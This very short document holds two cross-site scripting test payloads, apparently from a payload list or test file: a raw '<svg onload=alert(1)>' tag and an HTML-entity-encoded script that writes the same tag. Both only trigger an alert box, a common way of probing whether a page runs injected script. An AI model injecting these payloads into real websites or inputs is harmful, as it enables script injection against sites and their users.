<svg onload=alert(1)>

&lt;script&gt;document.write(&#039;&lt;svg/onload=alert(1)&gt;&#039;)&lt;/script&gt;